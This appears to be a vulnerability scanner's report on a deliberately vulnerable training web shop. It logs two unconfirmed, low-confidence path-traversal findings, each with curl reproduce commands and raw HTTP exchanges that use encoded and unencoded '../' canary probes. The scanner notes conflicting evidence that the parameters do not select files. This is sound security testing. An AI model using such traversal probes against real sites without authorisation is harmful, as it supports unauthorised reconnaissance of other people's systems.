expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?next=1&target=&dest=1&comment=1&message=1&text=1…

request

GET /catalog.php?next=1&target=&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:24 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · target unconfirmed · low confidence BV-053 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1
input: target in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

target reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

target looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1'

GET /sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/../1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/../1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/%2e…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/%2e%2e/1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/1…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=skslqy1p9/1&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:31 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?next=1&target=&dest=1&comment=…

request

GET /sekumart.sekuripy.hr/login.php?next=1&target=&dest=1&comment=1&message=1&text=1&content=1&title=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:32 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · template unconfirmed · low confidence BV-054 info

location: GET https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1
input: template in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

template reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

template looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1'

GET /cart.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=1&include=1&download=1&format=1&mode=1…

request

GET /cart.php?template=1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=skscm7e0b/../1&include=1&download=1&format=…

request

GET /cart.php?template=skscm7e0b/../1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=skscm7e0b/%2e%2e/1&include=1&download=1…

request

GET /cart.php?template=skscm7e0b/%2e%2e/1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:45 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?template=skscm7e0b/1&include=1&download=1&format=1…

request

GET /cart.php?template=skscm7e0b/1&include=1&download=1&format=1&mode=1&state=1&code=1&session=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
